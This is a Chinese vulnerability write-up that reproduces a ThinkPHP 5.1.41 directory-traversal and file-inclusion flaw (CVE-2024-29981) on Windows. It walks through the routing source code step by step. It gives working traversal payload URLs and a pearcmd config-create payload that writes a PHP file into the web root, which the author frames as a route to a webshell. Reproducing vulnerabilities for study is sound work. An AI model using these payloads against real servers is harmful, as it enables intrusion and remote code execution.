起始
最近看到漏洞上出现了tp的新的CVE-2024-29981 - NVD,因此来分析分析。
用phpstrom+phpstudy来搭建复现环境
https://www.runoob.com/w3cnote/composer-install-and-usage.html
https://blog.csdn.net/qq_45766062/article/details/121828751
下载composer,
再下载thinkphp时遇到报错,
No composer.lock file present. Updating dependencies to latest instead of installing from lock file
换镜像源,
composer install --ignore-platform-reqs
然后再D:\phpstudy\phpstudy_pro打开命令行下载thinkphp5.1.41,
composer create-project topthink/think=5.1.41 tp5.1.41 --prefer-dist
按照教程搭debug,
再用phpstrom打开文件,运行phpstudy的服务,即可访问http://localhost/tp5.1.41/public/
http://localhost/tp5.1.41/public/index.php?s=index/index/hello
以上就是tp的常规路径,其实就是对应的 模块/控制器/方法
漏洞分析
首先需要触发路由,我们的url如下:
http://localhost/tp5.1.41/public/index.php?XDEBUG_SESSION_START=17055&s=thinkphp5.1/fewOo/fewOo
进入run方法
因为复现的是文件包含,所以看看路由是怎么检测的 ,有哪些我们可以构造的.
来到581行,进行代码审计,这里面主要看看path和check函数的功能.
在往下调进入pathinfo()
public function pathinfo()
{
if (is_null($this->pathinfo)) {
if (isset($_GET[$this->config['var_pathinfo']])) {
// 判断URL里面是否有兼容模式参数
$pathinfo = $_GET[$this->config['var_pathinfo']];
unset($_GET[$this->config['var_pathinfo']]);
unset($this->get[$this->config['var_pathinfo']]);
} elseif ($this->isCli()) {
// CLI模式下 index.php module/controller/action/params/...
$pathinfo = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
} elseif ('cli-server' == PHP_SAPI) {
$pathinfo = strpos($this->server('REQUEST_URI'), '?') ? strstr($this->server('REQUEST_URI'), '?', true) : $this->server('REQUEST_URI');
} elseif ($this->server('PATH_INFO')) {
$pathinfo = $this->server('PATH_INFO');
}
// 分析PATHINFO信息
if (!isset($pathinfo)) {
foreach ($this->config['pathinfo_fetch'] as $type) {
if ($this->server($type)) {
$pathinfo = (0 === strpos($this->server($type), $this->server('SCRIPT_NAME'))) ?
substr($this->server($type), strlen($this->server('SCRIPT_NAME'))) : $this->server($type);
break;
}
}
}
if (!empty($pathinfo)) {
unset($this->get[$pathinfo], $this->request[$pathinfo]);
}
$this->pathinfo = empty($pathinfo) || '/' == $pathinfo ? '' : ltrim($pathinfo, '/');
}
return $this->pathinfo;
}
//关键点看下面的代码if (isset($_GET[$this->config['var_pathinfo']])) { $pathinfo = $_GET[$this->config['var_pathinfo']]; unset($_GET[$this->config['var_pathinfo']]); unset($this->get[$this->config['var_pathinfo']]); 其中$this->config['var_pathinfo']是s参数也就是说获取了s的参数,并且销毁了GET传入的s,和当前类的$this->get[s]的内容返回值是$pathinfo就是我们s传的内容。 好了再回到path,结合上图,会走到if里面其中也就是匹配我们传的参数有没有.html,意义不大。$this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);
path函数是获取url参数,往下走是check函数
"/"被替换为"|",可以看到图中的url的值变为:thinkphp5.1|fewOo|fewOo,然后就是返回一个dispatch对象.
return new UrlDispatch($this->request, $this->group, $url, [
'auto_search' => $this->autoSearchController,
]);
查找这个函数,
use think\route\dispatch\Url as UrlDispatch;
这行代码是用来引入 think\route\dispatch\Url
类,并为其指定一个别名 UrlDispatch
。在 PHP 中,使用 use
关键字可以方便地导入命名空间中的类,使得在代码中使用该类时不需要写出完整的命名空间路径。
具体来说:
-
think\route\dispatch\Url
是一个完整的命名空间路径,指向一个特定的类。 -
as UrlDispatch
表示将Url
类别名为UrlDispatch
,这样在后续代码中就可以直接使用UrlDispatch
来引用这个类。
result:['thinkphp5.1','fewOo','fewOo'],dispatch=thinkphp5.1|fewOo|fewOo.
parseUrl方法是把路由进行分割成数组,
可以看到$url经过parseUrl函数的作用,$path被赋值为['thinkphp5.1','fewOo','fewOo'].
往下走看到$module在第一个,然后就return.
走完了parseUrl,接下来new了一个module类,并且执行了init()方法,进入.
这里解释一下,我们利用module函数的最终目的就是判断route[0]是不是真实存在的,反应到代码上就是让$available = true,然后就可以模块初始化.
如果这时候$module命名为../../名字,是不是就可以目录穿越了,但是/被替换了两次,很难在构造成功了.
幸运的是,在window环境下,..\也可以跳目录,这样我们只要让$available = true就可以了.
public function init()
{
parent::init();
$result = $this->dispatch;
if (is_string($result)) {
$result = explode('/', $result);
}
if ($this->rule->getConfig('app_multi_module')) {
// 多模块部署
$module = strip_tags(strtolower($result[0] ?: $this->rule->getConfig('default_module')));
$bind = $this->rule->getRouter()->getBind();
$available = false;
if ($bind && preg_match('/^[a-z]/is', $bind)) {
// 绑定模块
list($bindModule) = explode('/', $bind);
if (empty($result[0])) {
$module = $bindModule;
}
$available = true;
} elseif (!in_array($module, $this->rule->getConfig('deny_module_list')) && is_dir($this->app->getAppPath() . $module)) {
$available = true;
} elseif ($this->rule->getConfig('empty_module')) {
$module = $this->rule->getConfig('empty_module');
$available = true;
}
关键代码:
elseif (!in_array($module, $this->rule->getConfig('deny_module_list')) && is_dir($this->app->getAppPath() . $module)) {
$available = true;
第一个判断$module是不是数组,在38行已经就不是数组了,第二个判断是不是真实存在的路径,我创建了d:\thinkphp5.1,用以下的payload,也是成功绕过了.
http://localhost/tp5.1.41/public/index.php?XDEBUG_SESSION_START=17055&s=..\..\..\..\..\thinkphp5.1/fewOo/fewOo
然后走到60行的app->init(),
关键代码:
if (is_dir($path . 'config')) {
$dir = $path . 'config' . DIRECTORY_SEPARATOR;
} elseif (is_dir($this->configPath . $module)) {
$dir = $this->configPath . $module;
}
$files = isset($dir) ? scandir($dir) : [];
$files是从$module过来的,$module是我们的..\..\..\..\..\thinkphp5.1,321行获取了目录下面所有文件放到数组里面进行循环,
foreach ($files as $file) {
if ('.' . pathinfo($file, PATHINFO_EXTENSION) === $this->configExt) {
$this->config->load($dir . $file, pathinfo($file, PATHINFO_FILENAME));
}
}
}
这段代码的功能是遍历 $files 数组中的每个文件。对于每个文件,它会检查文件扩展名是否与 $this->configExt 相等(通过在扩展名前加上 .)。如果相等,则调用 $this->config->load() 方法,加载该文件,并将文件名(不包括扩展名)作为第二个参数传入。
下图可以看出$files和$module相关.
可以看到是$this->configExt=.php
然后再来看load函数,先是判断文件是否存在,然后loadfile函数,
如果扩展名为php,就可以直接包含.
完整的调用堆栈在下图:
漏洞利用
目录穿越+包含
public文件路径为D:\phpstudy\phpstudy_pro\WWW\tp5.1.41\public
我们新建了d:\thinkphp5.1目录,里面有1.php文件,内容是phpinfo().
payload
http://localhost/tp5.1.41/public/index.php?s=..\..\..\..\..\thinkphp5.1/fewOo/fewOo
进阶
但是ctf比赛中可不总是有webshell给我们,所以我们可以利用包含环境下pearcmd文件的特殊性来写webshell,进而包含利用.
下载pear,
在php7.3.4nts目录下创建一个pear文件夹,然后打开cmd命令行,输入php go-pear.phar,按照教程即可.
这里插一点知识.
pear包管理系统
pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定
--with-pear
才会安装。不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在
/usr/local/lib/php
。
PEAR(PHP Extension and Application Repository)
这是一个PHP 的包管理系统,用于安装和管理 PHP 扩展和库。
PEAR 包管理器通常使用 pear
命令来执行各种操作,例如安装、更新和删除 PHP 包。
关键命令 config-create
我们关注这样一条命令
pear config-create <directory> <filename>
这个命令使用了 config-create 模式,表明要创建一个配置文件
:指定配置文件将保存的目录路径。
:指定要创建的配置文件的名称。
其中,如果我们把写成一句话木马,文件名写成 /tmp/cmd.php
这样,pear就会在 tmp 目录下创建一个包含一句话木马的配置文件。此时,我们再利用 ctf 题目本身的文件包含,包含这个一句话就能实现远控了。
payload:
http://localhost/tp5.1.41/public/index.php?s=..\..\..\Extensions\php\php7.3.4nts\pear\pear\&+config-create+/<?=phpinfo();?>+1.php
知道要修改php.ini配置内容
但是报错,
Notice: Undefined index: argv in Getopt.php on line 353 Notice: Undefined index: HTTP_SERVER_VARS in Getopt.php on line 354
找到报错中的文件内容
public static function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseError("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}
}
难道还有配置没有改好,果然如此.
那我们在试一下.
成功执行.
往下翻可以看到如下代码:
User Configuration File Filename D:\phpstudy\phpstudy_pro\WWW\tp5.1.41\public\1.php
System Configuration File Filename #no#system#config#
Successfully created default configuration file "D:\phpstudy\phpstudy_pro\WWW\tp5.1.41\public\1.php"
这样我们就用pear写shell成功,然后访问即可
还要说明一下,浏览器发送请求尖括号会被编码,还得是burp.
最后
注意:window可以利用,linux不可以利用
本文是学习复现了这篇文章: